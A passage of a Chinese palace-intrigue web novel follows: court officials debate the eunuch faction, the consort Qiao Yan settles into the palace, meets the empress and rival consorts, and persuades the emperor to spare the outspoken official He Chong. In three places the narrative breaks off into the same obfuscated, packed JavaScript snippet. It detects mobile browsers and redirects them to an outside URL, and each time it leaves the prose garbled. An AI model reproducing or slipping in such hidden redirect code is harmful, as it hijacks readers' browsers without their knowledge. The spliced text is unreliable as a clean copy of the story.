“这就是圣上的真意了,文官抱成一团,是圣上一直以来的心病,这才抬举阉党制衡,搅得朝堂不宁。圣上年纪大了,精力不如以前,这些年董玉莲渐渐有越权之势,他老人家也怕了。” 说了这么一长段话,乔广川喝了口水,才继续道:“近来儒林对我们家多有非议,我们家两不靠,倒勉强合了圣意。” 乔湛没有说话。 一片寂静里,温却疾慢悠悠地开了口:“我和你的伯父是一个意思。明澈,你是冯老的学生,为人为学如何,大家都看在眼里。礼部的这个职位很重要,落在你身上,没有人会攻讦。” 这句话还劝不动乔湛,温却疾叹了口气,继续道:“太监掌权,自古未有,这就是一群残缺的贪人。本朝放权给太监,结果都看到了,不论我们定下什么利民之策,到他们执行的时候,都只管一个劲的往腰里塞钱。有他们掌权一日,百姓就不会好。” 说到这里,他看向乔湛。 “圣上有自己的立场,我们管不了他老人家。但我们始终要做百姓事,我们再不去为百姓做事,大齐就要亡了。董党不除,民生不安。” 乔湛沉黯不语。 他能辨别,温次辅确有为生民立命的悠悠决意,但在这层公心之下亦有私心——温却疾在劝他,仍然要和文官们抱团。 君臣奴婢,每个身份的人好像都有自己的心思。 他心里有些乱,拿过水杯,喝了一口,才发现水已经冷了。 乔广川见乔湛没有再开口,没有继续逼迫,由乔湛自己想着,转头跟温却疾就着之前的话聊了下去:“天冷了之后,圣上已经病过一次……如今成年的皇子只有赵王,但赵王自幼由董治陪着长大,敬董玉莲如父,上回董玉莲过寿,赵王还亲自到场。我只怕……” “这事我们早就讨论过,”温却疾说道,“年前要想办法让圣上放二殿下出来,束首辅的意思是大家一起上奏,我琢磨着这可万万不行,圣上万一一怒之下砍了二殿下的头,那怎么办!” 说着,他放下手里已经冰冷的茶杯,正襟危坐,“这是我今日来找你的第二个原因,我们劝不得,但有个人吹吹枕边风或许可以。” 他的眼睛看向《文景年起居注》。 乔广川跟他看了过去,过了片刻,问道:“这是你的主意,还是元辅的?” “哪能让他知道,”温却疾吐出一口气,“太过迂腐,难能成事啊。” 12. 移驾 西苑的宫殿没有修地龙,难以度冬。十月初九,钦天监报诸事皆宜,文景帝移驾宫城。 前有京营禁军开道,锦衣卫护行,后面跟着宫婢内监无数,长长的队伍除了脚步声之外再无声响。 乔燕坐了顶小轿,跟在銮驾后面。及至乾明门外,百官伏地迎驾,山呼万岁,气势撼天。 乔燕悄悄掀起轿帘一角,俯视着道旁乌泱泱的脑袋,恍惚生出睥睨之感,微微动容,暗想难怪自古“权力”二字可引得人前仆后继,撞得头破血流也在所不惜。 入了乾明门,乔燕的小轿与銮驾分开,沿小道来到顺贞门,尚宫局的女使郭恒早已奉皇后之命在这里等候。在女使的带领下,小轿来到一处宫殿前,牌匾上提了“衔青”二字,想是取自“报春”之意。朱红的高墙顶处铺了一排琉璃瓦,有一节细枝越过墙头,光溜溜的枝干,顶端颤巍巍地结出一个花苞,迎风而展,与殿名应和。 乔燕忍不住笑了一下。 原是一枝寒梅。 郭恒没有注意,抬手一指:“此宫殿所俱空着,娘娘可自行挑个喜欢的屋子住下。屋内一应用具已着有司安置完毕,您看看,若有缺漏奴婢再叫人添上。” 踏入宫门,乔燕四下看了看,她如今的位份尚低,住不得主殿,于是挑了东侧殿。 郭恒一边陪着往东走,一边介绍道:“南边便是文华殿,乃从前圣人常御之便殿,每年冬天圣人回宫,起居都在那里,从衔青宫去十分方便。西北是皇后殿下所居景仁宫,殿下喜静,娘娘每月只需朔望前去请安。正北走过去是大雁湖,乃是宫内游乐消遣的好去处。” 乔燕点了点头。文景帝每月朔望要开坛祭天,不议朝事,正好和皇后那边的时间错开。 很快就走到东侧殿前的宝瓶门,穿过去有一座庭院,方才乔燕看到的寒梅就种在墙边。 郭恒停住脚步:“娘娘看看,若有什么不周到的尽管去尚宫局寻奴婢。奴婢还需向皇后殿下复命,若无他事,容奴婢告退。” 乔燕客套了两句,亲自送她到门边。 随着天气转寒,天黑得越来越早,待一切收拾完毕已至日暮。 尚食局送来夕食,乔燕一个人坐在桌旁吃饭,一抬头瞧见门外桂影扶疏,空阶照水,陡然升起些许孤独。 许是初到陌生的地方,这一夜乔燕睡得不太踏实,翌日清晨,起床时眼下带着淡淡的青色。她坐在妆案前,抬手将横窗推开。 天还未亮,凉风习习,乔燕深呼吸了一口气,看向窗外。 “这儿也有葡萄架,我那位仙去的姑姑,闻说极爱食葡萄。” 大宫女黎月仔细刮去烛台下凝固的烛泪,接话道:“奴婢入宫时先贵妃已经殁了,听说柳昭仪养的狗儿怕虫子,宫内这种易生虫的花草除去不少。” 宜婵觉得稀奇:“狗儿还怕虫子?” 黎月抿唇一笑:“那是只京巴犬,也就兔子大小,可以抱在怀里,柳昭仪当宝贝一样,平日里我们连见一眼都见不到。” 就着第一缕晨曦,宜婵开始为乔燕上妆,一边道:“柳昭仪不就是赵王殿下的母妃么,是个什么样的人?” 黎月道:“我没见过,听说很是真性情。” 在宫里,真性情便约等于跋扈了。 “那皇后呢?” “皇后殿下信佛,虽然未曾亲眼见过,但宫里上下都说她温和喜静,慈悲善良,很是敬仰她。” 乔燕想起入宫前听来的事:“听说皇后膝下无子。” 谈到敏感话题,黎月下意识直起身,看了眼空无一人的窗外,抿了抿唇,有点犹豫地说道:“皇后殿下从前曾育有二子一女,却全都早夭,问天观的道君们说皇后命中无子,圣人不忍,将二皇子认到皇后名下,封为太子,由皇后抚养长大,谁知二皇子入仕后……” 举国皆知,六年前,废太子在福建水师与倭寇的一战中克扣粮草,中饱私囊,彼时前线的士兵被困在海边,本以为能等到粮草淡水支援,苦苦支撑,最终大败而逃,倭寇在沿海的几个县里大肆搜刮,残害百姓,带着胜利品归去,留下一地浮尸。 天子震怒,二皇子成了废太子,圈禁于京城郊外。 “自那之后,皇后殿下便开始信佛,若无大事连景仁宫的门都不出一步,大家都说她很可怜呢。” 最后一句她不敢大声说,几乎是哼哼出来的。 宜婵不以为然:“皇后贵为宗族之妇,每日钟鸣鼎食,奴婢成群,我听说,宫内吃的精米是宫人一粒一粒挑选出来的,生而尽受富贵,死后配享太庙,受千年万人香火供奉,为何会觉得她可怜?” 这番话简直是惊世骇俗,黎月瞠目结舌:“这,这宫内的女子,若是没有孩子,凭何做下半辈子的依靠?” 宜婵一笑。乔燕蹙眉打断:“宫内不比外面,这些话日后不可再说。” “是,奴婢以后不说了。” 尚食局这时送来朝食,乔燕刚在桌旁坐下,于海进来传话:“娘娘,文华殿的太监抬来步舆,您看何时动身?” 文景帝为太子时就喜欢待在文华殿,这次回到宫城,仍旧住在那里。文华殿前后共有三个殿室,其中文华殿用来接待群臣、商议朝事,后面的主敬殿则是起居之所,如此一来倒也方便。 “就来。” 乔燕随便吃了两口,带着对宫城更为熟悉的黎月出门,临走前不忘提醒宜婵:“我去圣人那边了,别忘了将备下的礼品送去各宫。” “您放心吧,这一晚上都叮嘱奴婢好几回了。” 乔燕这才去到文景帝身边伺候。 这样的日子其实和在西苑并无差别,一晃数日过去,一场北风从鞑靼所在的草原吹到京城,乌云黑沉沉地压在头顶上空,一抬头就能砸下来似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027627|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了半夜,噼里啪啦砸下豆大的雨点,一夜之间,树枝上便光秃秃一片,却是苦了晨起洒扫的宫人,花了好大力气才清理去一地狼藉。 “这当是今年最后一场雨,不久就是冬至,再往后就该下雪了。惜薪司那边的新炭还未送来,等会娘娘去了景仁宫后你去瞧一眼,咱们娘娘刚到宫城,他们别是忘了。” 宜婵一边对黎月说着,一边微微抖落油纸伞面的水珠,收好放在墙边,在庑廊上除去湿漉漉的鞋,再踏入屋内。 “娘娘醒了吗?昨儿一再吩咐让我们早些喊她,莫误了去给皇后请安的时辰。” 黎月道:“快了。我去伺候娘娘起床,姐姐刚从外面过来,先去隔间暖一暖罢。” 昨夜是黎月值的班,睡的隔间也烧了一盆炭,一掀开帘子,暖气便扑面而来。 宜婵发出舒服的喟叹,将冰冷的手放在炭盆上方烘烤,笑道:“也好,我一身寒气,别过给主子。” 入宫第一日尚宫局女使曾转达过皇后的意思,每月朔望需请安。这一日正是十一月十五,乔燕一大早便起了来,带着宜婵前往景仁宫。 景仁宫门前的道上十分干净,一片枯叶都看不到,宫人们捧着梳洗的用具鱼贯而入,条理井然,仿若这灰蒙蒙的清晨里的一出无声的戏剧。 受到通传后,来应门的是景仁宫掌事金波。 “娘娘来的早,殿下刚醒呢,吩咐奴婢先带您去暖阁内坐一坐,喝杯热茶暖暖身子。” 乔燕跟着她往内走,赧然道:“不知有没有扰到殿下休息。” “那倒不曾,殿下往日里这个时候也已经起了——这边台阶有些滑,娘娘小心。” 景仁宫内已燃起了地龙,与乔燕住的衔青殿偏殿不可同日而语。乔燕轻轻呼出口气,伸出冻得通红的指尖,脱去斗篷,金波顺手接过,朝跟来的宜婵笑道:“梢间也备了热茶,几个不当值的姊妹在里面打牌,妹妹跟我去耍会儿罢。” 宜婵看过来,乔燕好奇道:“景仁宫里能打牌么?” 金波抿唇一笑:“三公主常来顽,每次都拖着人陪她打牌,一来二去,殿下便也不管了,只要手头的事做干净,不吵到殿下眼前,寻常娱乐不碍事。” 还以为景仁宫御下甚严,没想到是外紧内松。 乔燕便对宜婵道:“你去玩吧,我在这等殿下。” 皇后似乎还是传统汉人的作风,屋内没有摆放胡椅。为了避免留下不守规矩的印象,乔燕只扫了一眼便收回打量的目光,挑了个角落的垫子坐下。 宫女递来热茶,乔燕笑着道谢,双手捧着凑到嘴边,任由热气乎在脸上,小口小口地啄着。 窗边的百宝阁上摆着一只巴掌大的香龛,袅袅白烟自镂花中升起,弥漫出若有似无的奶香。 这应是朝贡的紫降香。处在这样的氛围下,乔燕略紧绷的神经慢慢舒展开来。 13. 交锋 没等多久,帘子又被掀开,金波含笑相邀:“明间已备好茶点,几位娘娘也来给殿下请安了,连难得一见的长公主殿下都来了。请娘娘跟奴婢来吧。” “长公主也来了?” 若没有记错,这位一直住在封地,每三年才回一次京。 金波道:“上个月,长公主殿下奉旨回来给先太后迁陵。” 乔燕便想起,在西苑时确实曾听圣上提及这位孤身在外的胞妹,言语里颇多想念之意,此次长公主回来,怕是会多住一段时间。 来到明间,除了伺候的宫女外,屋内坐着十来个女人。一进门,乔燕便被右侧次坐的女人吸引了全幅心神——她看起来三十岁许,画着浓妆,头上的点翠饱满稠丽,更衬得五官明丽,神采飞扬。 就在这时,一团雪白迎面扑来,乔燕骇了一跳,蹬蹬后退两步,被身后的金波一把扶住。那毛团却来势不减,眼见快要撞上了,才有人懒洋洋地唤了声:“小玉儿。” “汪汪!” 毛团转身,跳到那位美妇人怀里,乌黑圆亮的眼睛却紧盯着乔燕的脚前。乔燕跟着低头,面前地上散落着七八根羽毛,而不远处的地上…… 乔燕捂住嘴,下意识别开了眼,将到嘴边的惊呼咽了回去。 恰在这时,皇后在金波的搀扶下步出内间,看到这幅场景,不由眉头微皱,看了眼金波。金波立马招来一个太监,将那只沾满狗儿口水的死鹦鹉收拾了出去。 “你要逗狗溜鸟,何必跑到我这儿来,紫薇宫那么大的地儿还不够你的狗儿玩么?”皇后语气虽淡,却隐含不满。 柳昭仪轻笑:“殿下一大早何来的火气,往日将小玉儿带来您这里,也没见您说不喜欢,若是如此,日后我不带来便是。” “鹦鹉虽属禽类,却也是一条生命,与你的狗儿有何区别?” 柳昭仪却并不将她的话放在心上,笑了一笑,明眸一转。 “这位便是新来的妹妹罢?怎么还站着呢,快些过来,让我好生瞧瞧。” 这两句话的工夫,乔燕也恢复了仪态,见两人的交锋告一段落,忙走到中间空地跪下:“妾身见过皇后殿下,见过长公主殿下,两位殿下金安。” “咳咳,”皇后捂着嘴咳了两声,“起来吧。” 只有四品以上才有坐的资格,乔燕站起来,乖巧地站在角落里。 “汪!” 柳昭仪掩唇而笑:“听闻妹妹每天随侍圣前,兄长累迁高位,本来我还心有不服,等看到妹妹本人,才服气了,果然是沉鱼之姿,便是比先贵妃都要美上几分。” 她这番话绵里藏针,没等乔燕作出应对,皇后已不快地道:“你若有事,便先回去。” 见皇后发话,乔燕便只垂首局促地笑了笑,作出温顺讷言的模样。 “姐姐莫气,这么多年,姐姐也知道,我这嘴就是藏不住话,”柳昭仪慵懒地抚着膝盖上的狗儿,“说起来,有一阵子没见过七殿下,听闻他不久前闯了文书房,坏了规矩,被罚禁足抄书,还没抄完么?” 七皇子李却才七岁,是文景帝的幺子,生母孙氏家世平平,因生了皇子被封为贵人,一直安静站在边上,此刻不得不开口:“七殿下顽劣,都是妾身管教不当,请皇后殿下责罚。” 皇后尚未开口,柳昭仪又道:“七殿下才多大,连朝议都未曾参与过,却晓得去文书房翻奏疏,怕不是受了别有居心人的怂恿。” 孙贵人脸色唰的一下变白,膝盖一弯跪倒在地:“妾绝不敢做这等事,请殿下明察。” “行了。” 皇后发话,等两人都住了嘴,先对柳昭仪说道:“小七顽皮,误入文书房也是无心之举,圣上已有责罚,今后勿要再言。” 又对孙贵人道:“你也起来吧。” 长公主冷眼旁观至此,忽然开口:“说到皇子,也不知稷儿过得如何。” 此言一出,如投石入水,激起阵阵涟漪。 长公主口中的“稷儿”,便是抱养在皇后膝下的二皇子、废太子李稷。自李稷被圈禁后,宫人从来不敢在皇后面前说起,此刻长公主突然提及,很多宫人都白了脸色。 皇后唇角微沉,垂下眼,拇指缓慢地拨了两颗佛珠。一时之间,大殿之内仿佛连呼吸都轻了许多。唯有长公主恍若未觉,扫了眼旁边的柳昭仪,说道:“不仅是我惦记稷儿,上次陛见同圣上话家常时,圣上跟我说很是想念他。” 皇后捻着佛珠的手指一顿。 柳昭仪不由自主地掐住手下的皮毛,直到小玉儿吃不住痛,发出一声尖鸣,她才回过神,勉强维持着脸上的笑,半信半疑地盯着长公主,好半晌,方在一片肃静里接过话头:“毕竟是断了骨头连着筋的亲父子,许久不见,圣上一时想念也是人之常情。” 长公主意味深长:“柳昭仪说的不错。” “乔贵人,你且尽心服侍圣上,宫里若有什么不周之处,尽可来寻我。” 皇后转开话题,乔燕见点到自己,忙柔顺应是。 “好了,今日便到这儿。” 皇后端起茶盏,结束了这出闹剧。 众妃嫔一同行礼,却行而出。 离开温暖的殿室,北风迎面扑来。乔燕把头上的卧兔儿往下拉了拉,朝手心呼了口气,温暖潮湿的白雾眨眼便散在风中。 来的时候还有些羡慕屋子里的地龙,但现在吸一口屋外的寒气,倒觉得比屋子里头要畅快得多。 难得不用去文景帝那边做事,回到衔青宫后,乔燕窝在榻上,抱住熏笼暖手脚,困意上涌,索性睡了个回笼觉。 这一觉一直睡到天黑。晚饭时分,宜婵方唤醒自家主子。 乔燕揉揉眼,从被窝里起身,被凛冽的寒意刺得一个激灵。 “好冷的天。等会儿让人去灶上煮一锅姜汤,你们都来一碗,天气冷,莫要冻坏了。” 宜婵眼疾手快地把暖炉塞到她手里:“奴婢代她们谢过娘娘。” 饭菜已经摆在桌上,小宫女齐思嘉布菜。见一切妥当,宜婵也没事做,惦记着乔燕的叮嘱,索性挽着袖子去小厨房煮姜汤。 天气冷,尚食局每日都备羊汤,饭前喝一碗,辛辣鲜香的汤水灌到肚子里,整个人都暖融融的。 今天才喝第一口,忽然响起敲门声。衔青宫从未有过外人在这个点儿造访,乔燕便以为是宜婵有什么事去而复返,懒洋洋地应了句:“进。” 随着门开,一张冻得青白的年轻脸庞现在北风里,脸颊上的酒窝十分讨喜。 “娘娘吉祥。奴婢给娘娘请安来了。” 金春山反手将门关严实,就笑吟吟地站在门边。 “奴婢早就想来请安,却一直未得空儿,只能这个时候前来,虽然知道会扰到娘娘用膳,但想着娘娘宽宏大度,应当不会怪罪奴婢。” 乔燕放下碗,笑道:“小金公公嘴还是这样的甜。近前说话罢。” “奴婢站在这儿就好,奴婢一身寒气,别过给您。” “无妨,”乔燕眼神落下去,“手里拎的什么呀?” 宫女递过去一双干净的鞋套,金春山套上,这才踩上地板,殷切地将手里的东西放到桌角。 “上回给娘娘的大海子应当喝完了,奴婢趁出宫的时候又买了些。至于这一包,去医馆的路上看到新开了一家苏式点心铺,听说店家是姑苏来的,做的也都是那儿的糕点,奴婢这不就想到您了。不过奴婢没去过姑苏,点心正不正宗也不知道,娘娘尝一口,若是不喜欢,扔了便是。” 乔燕心里微暖:“可不兴浪费粮食。” “那娘娘便赏给奴婢,让奴婢过过口福。” 乔燕笑了起来,十分给面子地拿起一块糖元宝咬了口。 确实是姑苏点心,和幼时生母买给她吃的味道一模一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032442|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她怀念江南的白墙黛瓦,却并不怀念那时的生活。 乔燕一口一口地吃完了糖元宝,这才问起:“说起来很久没在圣上跟前看过你了,小金公公这是高迁何处了?” 金春山有些不好意思地摸了摸后脑勺:“从前说是在圣上跟前应召,实则干的都是吃力不讨好的活,不说不易在主子跟前露脸,出了事还要替上头顶包。董爷爷回到司礼监后,发作了一批人,空了一些缺,奴婢便走了门路,在司礼监寻了差事。” 乔燕一怔,然后微微笑:“是好事。” 许是立场不同,乔燕一直对司礼监这个衙门十分抵触。但设身处地想想,对内廷而言,确实没有比那儿更好的去处了。 跟金春山认识也有半年,乔燕明白,这只不过是一个在泥潭里滚出一身圆滑世故的普通人,也是这宫里基数最多的那一类小人物。 党派倾轧,其实中间夹了多少这样无辜的人呢? 小厨房起了灶,比烧了炭的屋子还要暖和。宜婵索性挤在灶前,一边烤火聊天,一边等着姜汤煮完。 烧火的宫女从西苑就在服侍乔燕,与宜婵相熟,说起话来十分随便:“姐姐在西苑常戴的那支梅花钗怎么怎么不戴了?我还想有机会问问您,那是哪儿买的,回头有机会也买一支。” “宣南坊孩儿巷有家李氏银铺子,在那儿打的。我那支在西苑不小心丢了,本想有机会再找找,后来入了宫城,就罢了。” “姑娘喜欢,回头我出宫跑一趟宣南坊,给您再买一支一样的。” 忽然有个尖细的声音接话,少时净身入宫长大的内侍才会有这样的声音。 宜婵听着耳熟,和烧火的宫女一起扭头,看到门被拉开,金春山缩着脖子站在外面,鼻尖耳朵都被冻得通红,笑意盎然,装模作样地问:“两位姐姐,我能进来烤烤火么?” 宜婵笑骂:“门都开了,还说这些。快进来把门关上,您这一开,暖气都跑走了。” “欸!” “小金公公怎么在这?” “圣上回宫城后,我也调到了别处做事,许久未见娘娘,这不一得闲便想着来给娘娘请个安,想着说不定能混点赏银。” “那娘娘赏你了么?” “给了两片银叶子。” 宜婵睨他一眼:“您以后还是少来罢,娘娘手头本来就紧,还得打赏给你,她自己都舍不得开小灶,只吃尚食局送的饭食。” 金春山在一旁的柴垛坐下,笑嘻嘻的:“好姐姐,我答应您,以后便是娘娘赏,我也决不受。” 锅里汤开了,宜婵舀了一碗给烧火的宫女,又舀一碗摆在金春山跟前,“喝一碗祛祛寒,天这么冷,难为你心里还有娘娘,跑这一趟。” 金春山双手捧住姜汤,神情有些怔忡。 宜婵瞅了他一眼,看出了什么,问道:“还没吃饭吗?” 金春山不好意思地笑了笑。 “等着,正好刚刚热了两个包子没吃完,我拿给你。” 宜婵说着,转身从橱柜里端出一屉蒸笼,打开盖子,果然有两个包子,还在冒热气。宜婵将其一把塞到金春山手里,金春山与她四目相对,也不知道为什么,心里微慌,立马移开了视线。 “趁热吃。” “啊……哦。” 宫里的奴婢饱一顿饿一顿是常有的事,主子们的事要紧,有时候做完了,回头大厨房连碗残羹都没有。 索性这么多年也习惯了。 但此刻一口热的下肚,回望从前,忽然有些不知过的是什么滋味。 金春山想说什么,看着宜婵忙碌的身影,又止住了。 宜婵将姜汤挨个摆进食盒,金春山忙站起身:“我替姑娘拿进去。” “不用,吃完趁早回去吧,夜了更不好走,”宜婵空着的手拿起带来的风灯,想了想又放下,“这灯借您,路上仔细些。” 14. 救人 午后,乔燕顶着西北风从文华殿回到衔青宫,钗环尚未拆除,忽有奴婢来禀:“娘娘,文华殿总管卢公公求见。” 乔燕一时以为圣上有事吩咐,便道:“让他进来。” 不多时,卢公公匆匆而入,不知走得有多急,在这寒冷的冬天脸上竟出了一层细汗。 他顾不得擦脸,一进屋子便扑通跪在地上:“娘娘,文华殿现在闹得不可开交,圣上拔天子剑欲斩人,好几个大人正拦着,林太傅让奴婢来寻您救人。” 乔燕一时没反应过来:“救谁?” “何舂何大人。” 听到这个名字,乔燕竟丝毫不觉得意外。 圣上气到亲自拔剑砍人,也不知道这位何大人又说了什么惊世骇俗的话。圣上一怒至此,此去恐怕惹祸上身,若要明哲保身,最好不掺和。 但她欠着林太傅一个人情。 再说,何舂是内阁首辅束继文的学生,更是平民出生,若真让文景帝把人杀了,那君臣、君民之间都会出现更大的嫌隙。大齐风雨飘摇,受不得动荡了。 只是万事都要量力而行,要救也得先把事情问清楚了。这般想着,乔燕便问了出来,却不想卢公公也是稀里糊涂。 “奴婢本在殿外伺候,不太清楚发生了什么事,只知道圣上本和林太傅在殿内对弈,文书房那里忽然来了人,没多久圣上命人传何舂入宫……娘娘,过来之前林太傅说了,您要是愿意帮忙,他在大门外头等您。您要是不想掺和,他也能理解,奴婢这就出去回了他老人家。” “太傅就在外头?怎么不通报!” 乔燕站起身。 这一瞬间,终究是冲动占了上风。上次林太傅救下冯矩,亦是明知不可为而为之。如果她有救人之力,岂能袖手旁观。 走出衔青宫,果然见到须发尽白的林太傅就站在避风处。见到乔燕走了出来,林元海松了口气。 “我怕卢公公说不清楚,特意在此等候娘娘。” “太傅快些与我说说,何舂又做了什么?他不是在南直隶任职,为何会出现在宫里?” “说起来,这次还真不是他挑的头,乃是几位御史联名上书弹劾他。说来也巧,何舂的妹妹近日出嫁,他请假送妹妹出嫁,就在京城外不远的镇子上。圣上看了弹劾的奏章,宣其入京问话,何舂他……唉,他也是个拎不清的,从祖宅里翻出一个棺材,这一路扶棺入宫,不仅不认罪,更是当庭怒斥圣上‘黜明陟幽,听信佞言,枉为人君’。圣上勃然大怒,拔剑欲斩,被我拦下,元辅听到消息赶到宫里,一力保之,争到后来,圣上怒急攻心,昏厥了过去。如今医官正在问诊,我这才趁机出来。” 乔燕:“……” 乔燕已不知该如何形容这位何大人。 她忍下呻吟,无力地道:“弹劾的时候人正好到北京,哪有这么巧的事。听说是文书房突然送来奏本?” 林元海一叹:“天天被人弹劾,这群太监们也算忍无可忍了,联名弹劾的御史都是董玉莲的人,罪名可怖,虽然没有确凿证据,但也够何舂喝一壶的。” “二皇子现在隐居问天观,每逢初一十五,圣上去观中参道打醮,都会秘见二皇子。如今是圣上有意放二皇子回来参政的节骨眼,何舂不可杀,不说其他,便是今天束首辅抵死作保,圣上若真的杀之,这君臣之间更生龌龊,二皇子就算出来,也难以成事……只是圣上现在谁的话都听不进去,我思来想去,或许只有娘娘还能劝得一二。” 他说的乔燕都明白,一咬牙应了下来:“我这便同你去试上一试。” 林元海感激万分,举手过胸,很郑重地行了一礼:“娘娘愿出面已是大善,我在此先谢过娘娘厚德。” 乔燕忙避开半步,“太傅何须行此大礼,我所做的跟您相比不过微末。” 林元海摇摇头,“不论如何,娘娘还请以自身为重。谋事在人,其余只能看天意了。” 两人走得急,很快至文华殿。 殿前白玉砌的空地上跪着个年轻官员,想来便是何舂。 其大名对乔燕来说早已是如雷贯耳,百闻不如一见,乔燕实在难忍好奇,扭头多看了两眼。只见这位大臣身形板正,五官挺括,眉间刻着川字纹,一副怒面阎王像。 而就在他的身侧,摆着一口崭新的空棺材。 “林太傅!” 途经之际,何舂忽然出声。林元海闻言驻足。 何舂目不转睛地盯着远处文华殿的翘檐,语气古井无波:“多谢太傅为下官求情,太傅也要量力而行,万不可引火烧身。下官自知此番入宫大祸临头,本就是存了必死之心。” 林元海道:“我明白你的心志,但若能活着岂不更好。” “若下官之死可令圣上明目净耳,拨乱反正,下官死得其所。” 林元海摇摇头,朝台基上走去。 冯矩就站在文华殿的门前,身着青色补服,侧对着阶下垂手而立,恰好避开阶下两位文臣跪的方向。 他是跟着林元海来的,在这里也是在等林元海。等二人走得近了,他率先拱手行了一礼:“下官见过娘娘,太傅。” 林元海问:“情况如何?” “圣上歇在后面的主敬殿,医官刚刚进去。” “元辅呢?” “阁老本也跪在外面,但体力不支,如今已有家人抬回家去。” 来到主敬殿,只见殿门大开着,文景帝身边伺候的道童一左一右站在门边。 乔燕与他们相熟已久,直接相问:“圣上如何?” 道童摇摇头,还未开口,医官从殿内鱼贯而出,一脸的劫后余生。正好听到乔燕问话,便有人一边擦着额头的冷汗,一边答道:“圣上已经醒来,并无大碍。” 乔燕松了口气,与林太傅对视一眼,对道童道:“可否劳烦二位通传一声。” “娘娘稍等。” 道童进殿通传,林元海以眼神示意,乔燕跟他往外走了两步,林元海不放心地再次叮嘱:“今日董玉莲不在宫内,勉强算个好消息。就算如此,娘娘也要加倍小心,切莫说错话惹圣上猜忌。” “您放心,我自会小心。” 这时道童出来了:“道君只允乔娘娘一人入内,两位大人还请在外等候。” 乔燕解下斗篷交给太监,朝林元海点了点头,目光和冯矩相对一瞬,在他眼里看到了掩不住的担忧。 尽管担忧,但他从头到尾都不曾出声劝阻。正如她了解他一样,他亦早就看到她柔顺皮囊下的灵魂底色,她识大体明是非,哪怕身为女子,亦有不逊色于男儿的孤勇,和不可不为的决心。 乔燕孤身跨入了大门。 殿内弥漫着浓浓的檀香味,往里走的时候,唐直抒正巧揣着手出来:“圣上在内间等您。” 乔燕点了点头,跟他擦肩而过。不知是否是错觉,有那么一刹,乔燕似乎闻到了血锈味,再细嗅又没了。 和外面的大殿比起来,文景帝睡觉的东内间面积有些狭小,掀开门帘入目的是一张一人余高的仙桃贺寿绣纹屏风,屏风后就是文景帝睡的小叶紫檀床。文景帝显然还未从方才的争执中抽离出来,脸色潮红,眉头紧锁,怒容未平。 乔燕却从他的怒容里窥见了深深的无力。这位帝王抓了一辈子的权力,终究如细沙一般在他眼前慢慢漏走。 英雄迟暮,岁月平等地俯视着每一个人。 “在想什么?” 苍老的声音幽幽地响起,乔燕回过神,行到床边跪下,握住文景帝搁在床边的手,发自肺腑地道:“妾在想,希望您可以早日康复。” 乔燕能在第一时间赶来,显然乃有人特意请来,文景帝心里雪亮,然看她眼睛盛满了恳切,终究没有怪罪。 文景帝眉头松开些许,用另一只手拍了拍她的手背:“朕还以为,你也要站在他们那边,来给何舂求情。” 乔燕没有隐瞒,“妾身收到林太傅的口信,心里担心您。何舂目无尊上,携空棺入宫,以示不死无休的劝谏之心,沿街见之的百姓们恐怕无一不为其慷慨所感动,在他的衬托下,谁又能看到您治国治民所呕沥的心血呢。” 这番话可谓说进文景帝的肺腑里了,文景帝苦笑:“满朝上下,怕只有你如此懂朕。” 乔燕:“妾身斗胆进言,越是如此,何舂越不能杀。” 文景帝眉头又锁起来,因着方才的铺垫没有动怒,耐着性子道:“为何?” “何舂做出如此哗众取宠之举,正是为自己留名,可见乃沽名钓誉之辈,于他而言,能落个‘诤死’的结局,便可得万民称颂,流传千古,正是求之不得。您若此时杀他,不是正合他意吗?” 这个江南养出来的姑娘,有着自己的从容。她同人讲道理时,会放慢语调,娓娓道来,令闻者不由自主便先被说动了三分。 文景帝沉默不语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“何大人命是保住了,然圣上余怒未消,恐将其贬至地方,”乔燕拢了拢斗篷的领口,银白的绒毛里探出葱白的指尖,“前途不知几何。” 林元海这才吐出一口气,拱手致谢:“这次多谢娘娘,那小子活该如此,他这脾性留在京中迟早没命,去地方历练历练也是好事。” 乔燕尤有担忧:“圣上不杀,他会不会以死明志,以示清白?” 林元海张口欲言,却猝然吸入一口寒气,捂嘴咳个不停。 他不愿失仪,大步走远了些,背过身顺气,留下二人面面相觑。 略一迟疑,冯矩接过方才的话头:“何大人扶棺入宫,未尝不是自救。” 见面后,乔燕第一次坦荡地将目光落在他身上。 冯矩见她真的没有想到这一层,顿了顿,继续道:“这一路大张旗鼓,闹得人尽皆知,便是将圣上架到高处,骑虎难下,不能杀了。” 乔燕恍然大悟:“我还真没想到。” 冯矩这才看了她一眼,只是对视不过须臾,他便又低下了头,“娘娘性情单纯,无须去想这些。” “倒是我高看他了。” “其实也未必,”冯矩远远朝西南边看去,隔着文华殿仿佛可以看到跪着的文臣,“于有些人,‘对错’是值得献祭性命去争论的东西,像何大人那样的人,并不惧一死。兴许是我用卑鄙者的目光去看他,才见卑鄙。” 不知道该怎么形容,乔燕就是从他的平静里感受到了一种自弃。 也是这个时候,乔燕才深刻地意识到,活着对他来说,是远比死亡更为沉痛的事,他行走的每一个时辰,都在负罪。 